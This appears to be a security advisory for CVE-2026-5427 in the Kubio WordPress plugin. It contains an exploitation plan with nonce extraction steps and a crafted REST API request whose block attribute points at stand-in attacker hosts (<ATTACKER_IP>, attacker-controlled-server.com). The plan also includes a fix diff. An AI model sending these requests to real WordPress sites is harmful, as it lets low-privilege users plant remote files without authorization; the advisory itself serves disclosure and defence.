Kubio AI Page Builder <= 2.7.2 - Missing Authorization to Authenticated (Contributor+) Limited File Upload via Kubio Block Attributes
Description
The Kubio plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to and including 2.7.2. This is due to insufficient capability checks in the kubio_rest_pre_insert_import_assets() function, which is hooked to the rest_pre_insert_{post_type} filter for posts, pages, templates, and template parts. When a post is created or updated via the REST API, Kubio parses block attributes looking for URLs in the 'kubio' attribute namespace and automatically imports them via importRemoteFile() without verifying the user has the upload_files capability. This makes it possible for authenticated attackers with Contributor-level access and above to bypass WordPress's normal media upload restrictions and upload files fetched from external URLs to the media library, creating attachment posts in the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.7.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5427 - Kubio AI Page Builder Limited File Upload ## 1. Vulnerability Summary The Kubio AI Page Builder plugin (<= 2.7.2) contains a missing authorization vulnerability in its handling of remote assets during post creation or update. Specifically, the function …
Show full research plan
Exploitation Research Plan: CVE-2026-5427 - Kubio AI Page Builder Limited File Upload
1. Vulnerability Summary
The Kubio AI Page Builder plugin (<= 2.7.2) contains a missing authorization vulnerability in its handling of remote assets during post creation or update. Specifically, the function kubio_rest_pre_insert_import_assets() (inferred to be in the PHP backend, likely includes/rest/rest-api.php or similar) is hooked to the WordPress REST API filter rest_pre_insert_{post_type} (covering post, page, wp_template, and wp_template_part).
When a user with Contributor-level permissions or higher creates or updates a post via the REST API, Kubio parses the block content. If it finds a URL within the kubio attribute namespace of a block, it automatically triggers importRemoteFile() to fetch and sideload the file into the WordPress Media Library. The plugin fails to verify if the requesting user possesses the upload_files capability, allowing Contributors (who normally cannot upload files) to populate the media library and create attachment posts using external URLs.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wp/v2/posts(or/wp-json/wp/v2/pages) - HTTP Method:
POST - Authentication Required: Authenticated, Contributor-level or higher.
- Vulnerable Parameter:
content(containing Gutenberg block comments with Kubio-specific JSON attributes). - Payload Structure: A Gutenberg block comment for a Kubio block where the
kubioattribute contains a URL. - Preconditions: The Kubio plugin must be active. The attacker must have a valid session cookie and a
wp_restnonce.
3. Code Flow
- Entry Point: An authenticated user sends a
POSTrequest to create/update a post via the WordPress REST API. - Filter Trigger: WordPress executes
rest_pre_insert_post. - Plugin Hook: Kubio's
kubio_rest_pre_insert_import_assets()is triggered. - Parsing: The function iterates through the Gutenberg blocks in the post content.
- Attribute Detection: It looks for the
kubioattribute key in the block's JSON metadata. - Sideloading: If a URL is found in specific sub-keys (e.g.,
url,src, or within abackgroundobject), the plugin callsimportRemoteFile(). - Sink:
importRemoteFile()useswp_remote_get()to fetch the file andwp_handle_sideload()(or similar) to save it towp-content/uploads/and create an attachment post. - Missing Check: No call to
current_user_can('upload_files')is made before the sideloading process begins.
4. Nonce Acquisition Strategy
REST API requests in WordPress require the wp_rest nonce for authenticated users.
- User Creation: Use WP-CLI to create a Contributor user.
- Login: Use
browser_navigateandbrowser_typeto log into/wp-login.php. - Extraction: Navigate to the
/wp-admin/dashboard. - Script Execution: Use
browser_evalto extract thewp_restnonce from thewpApiSettingsglobal variable:browser_eval("window.wpApiSettings?.nonce")
- Alternative: If
wpApiSettingsis unavailable, extract it from the post editor page:browser_eval("wp.apiFetch.nonceMiddleware?.nonce")
5. Exploitation Strategy
Step 1: Prepare Remote File
Host a file (e.g., test-image.png) on an external server or a simple Python listener accessible by the WordPress instance.
Step 2: Craft the REST API Request
Send a request to create a new draft post containing a Kubio block.
Request Details:
- URL:
http://<target>/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>Cookie: <CONTRIBUTOR_COOKIES>
- Body:
{
"title": "Exploit Post",
"status": "draft",
"content": "<!-- wp:kubio/image {\"kubio\":{\"image\":{\"url\":\"http://<ATTACKER_IP>/test-image.png\"}}} --><div class=\"wp-block-kubio-image\"></div><!-- /wp:kubio/image -->"
}
Note: The exact nesting within the kubio attribute (e.g., {"image": {"url": "..."}}) is inferred from common Kubio block structures and may need adjustment based on real-time observation of the plugin's block format.
Step 3: Trigger the Upload
Submit the request. The server should return a 201 Created response.
6. Test Data Setup
- Plugin: Install and activate
kubioversion 2.7.2. - User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Remote Asset: Ensure a file is available at a reachable URL (e.g.,
http://attacker.local/poc.jpg).
7. Expected Results
- The REST API response confirms the post was created.
- During the post-processing, Kubio logs (if enabled) will show a request to the external URL.
- A new attachment post (type
attachment) will be created in thewp_poststable. - The file
poc.jpgwill exist in the/wp-content/uploads/YYYY/MM/directory.
8. Verification Steps
After the HTTP request, verify success via WP-CLI:
- Check Attachments:
wp post list --post_type=attachment- Expected: A new attachment titled "poc" or similar should appear.
- Check Metadata:
wp post meta list <ATTACHMENT_ID>- Expected: Metadata such as
_wp_attached_fileshould point to the newly downloaded file.
- Expected: Metadata such as
- Check Filesystem:
ls -R /var/www/html/wp-content/uploads/- Expected: The file from the external URL should be present.
9. Alternative Approaches
If the wp:kubio/image block structure is incorrect:
- Try Generic Kubio Block: Use
<!-- wp:kubio/block {"kubio": {"url": "..."}} -->. - Try Background Attribute: Kubio often uses background settings. Try:
"kubio": {"background": {"image": {"url": "..."}}} - Observe Legitimate Request: Use the
browser_navigatetool to log in as an Admin, create a post with a Kubio image block, and usebrowser_evalor Network tab inspection to see the exact JSON structure the plugin expects. - Template Parts: Try hitting the
/wp-json/wp/v2/templatesor/wp-json/wp/v2/template-partsendpoints, as these are also listed as affected in the vulnerability description.
Summary
The Kubio AI Page Builder plugin for WordPress (<= 2.7.2) allows authenticated users with Contributor-level access and above to sideload arbitrary files from remote URLs into the media library. This is due to a missing authorization check in the `kubio_rest_pre_insert_import_assets()` function, which automatically processes and imports URLs found within the 'kubio' block attribute namespace during REST API post operations.
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('kubio-constants', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-icons', 'kubio-log', 'kubio-pro', 'kubio-utils', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-rich-text', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => '1f3a0b37498a8dcd8ea5'); +<?php return array('dependencies' => array('kubio-constants', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-icons', 'kubio-log', 'kubio-pro', 'kubio-utils', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-rich-text', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => '4f8cf8b0e56aa0fddae9'); @@ -12,7 +12,7 @@ // translators: %s: area label (0,Je.__)("Change the %s","kubio"),e)})]})]})}},Rd={ALL_PAGES:"allPages",THIS_PAGE:"thisPage"};function Nd(e){return e?ue().cloneDeep(e).map((e=>{const t=Nd(e.innerBlocks);return{...e,innerBlocks:t}})):e}function Ad(e,t){let n=e.find((e=>(null==e?void 0:e.name)===t));return n||(e.forEach((e=>{if(n)return;(null==e?void 0:e.name)===t&&(n=e);const o=ue().get(e,"innerBlocks");if(Array.isArray(o)){const e=Ad(o,t);e&&(n=e)}})),n)}const Ld=window.kubio.editorData,Dd="kubio/templates";const Od=["header","footer","sidebar"];function zd({onClose:e=ue().noop,onSuccess:t=ue().noop,area:n,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i=!1}){const[l,r]=(0,u.useState)(Rd.THIS_PAGE),s=(0,d.useSelect)((e=>{var t,o;if(Od.includes(n))return n;const{getBlock:i}=e("core/block-editor"),{getEntityRecord:l,getCurrentTheme:r}=e("core"),s=null===(t=r())||void 0===t?void 0:t.stylesheet,a=i(n),c=l("postType","wp_template_part",`${s}//${null==a||null===(o=a.attributes)||void 0===o?void 0:o.slug}`);return null==c?void 0:c.area})),{onNewTemplate:a,pageTitle:p,isFrontPage:h}=function({type:e,innerBlocks:t,applyTemplateOn:n}){const{storeData:o={},computedData:i={}}=(0,d.useSelect)((e=>e(Dd).getTemplateData()),[]),{currentPage:l={},postId:r,postType:s,templates:a}=o,{configPerType:p={}}=i,{pageTitle:h,isFrontPage:g,getEntityRecords:m}=(0,d.useSelect)((e=>{var t;const{getEntityRecord:n,getEntityRecords:o,getEditedEntityRecord:i}=e("core"),l=n("postType",s,r),a=null==l||null===(t=l.title)||void 0===t?void 0:t.raw,c=i("root","site");return{pageTitle:a,isFrontPage:(null==c?void 0:c.page_on_front)==r,getEntityRecords:o}})),f=(0,u.useRef)(!1),v=(0,u.useRef)(!1),b=["kubio-full-width","full-width"],k=(0,u.useMemo)((()=>a.find((e=>b.includes(e.slug)))),[JSON.stringify(a)]),_=ue().get(p,e,{}),y=ue().get(_,"label","Part"),x=ue().get(_,"blockName"),{editEntityRecord:S,saveEntityRecord:w,saveEditedEntityRecord:C}=(0,d.useDispatch)("core"),{setPage:B}=(0,d.useDispatch)("kubio/edit-site"),{createErrorNotice:I,createSuccessNotice:j}=function(){const{createErrorNotice:e,createSuccessNotice:t}=(0,d.useDispatch)("core/notices");return{createSuccessNotice:(e,n)=>t(e,{type:"snackbar",...n}),createErrorNotice:(t,n)=>e(t,{type:"snackbar",...n})}}();function E(){throw"Error"}const T=(0,u.useRef)(),P=(0,Ld.useSetGlobalSessionProp)("ready"),M=()=>{clearTimeout(T.current),T.current=setTimeout((()=>{ P(!0)}),3e3)},R=async e=>{const{link:t}=l;let n;try{const e=new URL(t);e.searchParams.append("random",Math.random());const o=e.toString();n=(0,qn.getPathAndQueryString)(o)}catch(e){}finally{M()}await B({path:n,context:{postType:s,postId:r}},e)};return{onNewTemplate:async(o=`${h} template`)=>{try{var i;if(f.current)return;f.current=!0,clearTimeout(T.current),P(!1);const l=Nd((0,c.parse)(null==k||null===(i=k.content)||void 0===i?void 0:i.raw)),a={};let u,d,p,b=!1;if(g)p=!1,u=(0,Je.__)("Front Page","kubio"),d="front-page",a.kubio_template_source="kubio";else if(n===Rd.ALL_PAGES){const e=m("postType","wp_template",{per_page:-1}).find((e=>"page"===e.slug));if(e)return async function(e){var n;const o=Ad(Nd((0,c.parse)(null==e||null===(n=e.content)||void 0===n?void 0:n.raw)),x),i=ue().get(o,["attributes","slug"]),l=`${ue().get(o,["attributes","theme"])}//${i}`,a={content:(0,c.serialize)(t)};return await S("postType","wp_template_part",l,a),await C("postType","wp_template_part",l),await S("postType",s,r,{template:""}),await R(e),!0}(e);p=!1,u="Page",d="page",a.kubio_template_source="kubio",b=!0}else p=!0,u=o,d=`${s}-${u}`;let _=`${u}-${e}`;if(b)switch(e){case"header":_="header";break;case"footer":_="footer"}if(g)switch(e){case"header":_="front-header";break;case"footer":_="footer"}const B=await async function(){try{if(v.current)return;v.current=!0;const n=`${h} ${e}`,o={title:n,slug:n,area:e,kubio_template_source:"kubio-custom",content:(0,c.serialize)(t)};return await w("postType","wp_template_part",o)}catch(e){I((0,Je.sprintf)(// translators: %s: type label // translators: %s: type label -(0,Je.__)("Could not create new %s. Please try again later","kubio"),y))}finally{v.current=!1}}();B||E();const M=ue().get(B,"slug"),N=Ad(l,x);ue().set(N,["attributes","slug"],M),p&&(a.kubio_template_source="kubio-custom");const A={title:u,slug:d,content:(0,c.serialize)(l),...a},L=await w("postType","wp_template",A);return L&&null!=L&&L.slug||E(),g||n===Rd.ALL_PAGES||await S("postType",s,r,{template:null==L?void 0:L.slug}),(b||g)&&await S("postType",s,r,{template:""}),await R(L),j((0,Je.__)("New template created successfully","kubio")),L}catch(e){M(),I((0,Je.__)("Could not create new template. Please try again later","kubio"))}finally{f.current=!1}},pageTitle:h,isFrontPage:g}}({type:s,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i,applyTemplateOn:l,setApplyTemplateOn:r}),g=h?Pd:Td,[m,f]=(0,u.useState)(g),v=()=>{e()},b=async n=>{e(),await a(n)&&t()};if((0,u.useEffect)((()=>{ i&&b()}),[i]),i)return null;const k=s,_=s===(0,Je.__)("header","kubio")?(0,Je.__)("footer","kubio"):(0,Je.__)("header","kubio"),y=function(e){switch(e){case Td:return(0,Je.__)("Apply for all pages?","kubio");case Pd:return(0,Je.__)("New template required","kubio")}}(m);return(0,At.jsx)(ne.Modal,{title:y,onRequestClose:v,children:(0,At.jsx)("div",{className:"kubio-inserter-ignore-click-outisde kubio-classic-theme-create-template-modal",children:(0,At.jsx)(Ed,{areaLabel:k,otherAreaLabel:_,onCloseModal:v,onInsert:b,pageTitle:p,applyTemplateOn:l,setApplyTemplateOn:r,currentStep:m,setStep:f,isFrontPage:h})})})}
Exploit Outline
1. Gain Contributor-level authenticated access to the target WordPress site. 2. Obtain the required REST API nonce (usually from the `wp-admin` source code or the `wpApiSettings` JavaScript variable). 3. Use the WordPress REST API to create a new draft post or update an existing one by sending a POST request to `/wp-json/wp/v2/posts`. 4. Within the `content` parameter, include a Kubio block (e.g., `wp:kubio/image`) that contains a remote URL inside the `kubio` JSON attribute object (e.g., `"kubio": {"image": {"url": "http://attacker-controlled-server.com/malicious-file.png"}}`). 5. The plugin's server-side logic will parse the block content, find the URL, and execute `importRemoteFile()` to download and sideload the file into the WordPress Media Library without verifying the user's `upload_files` capability.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.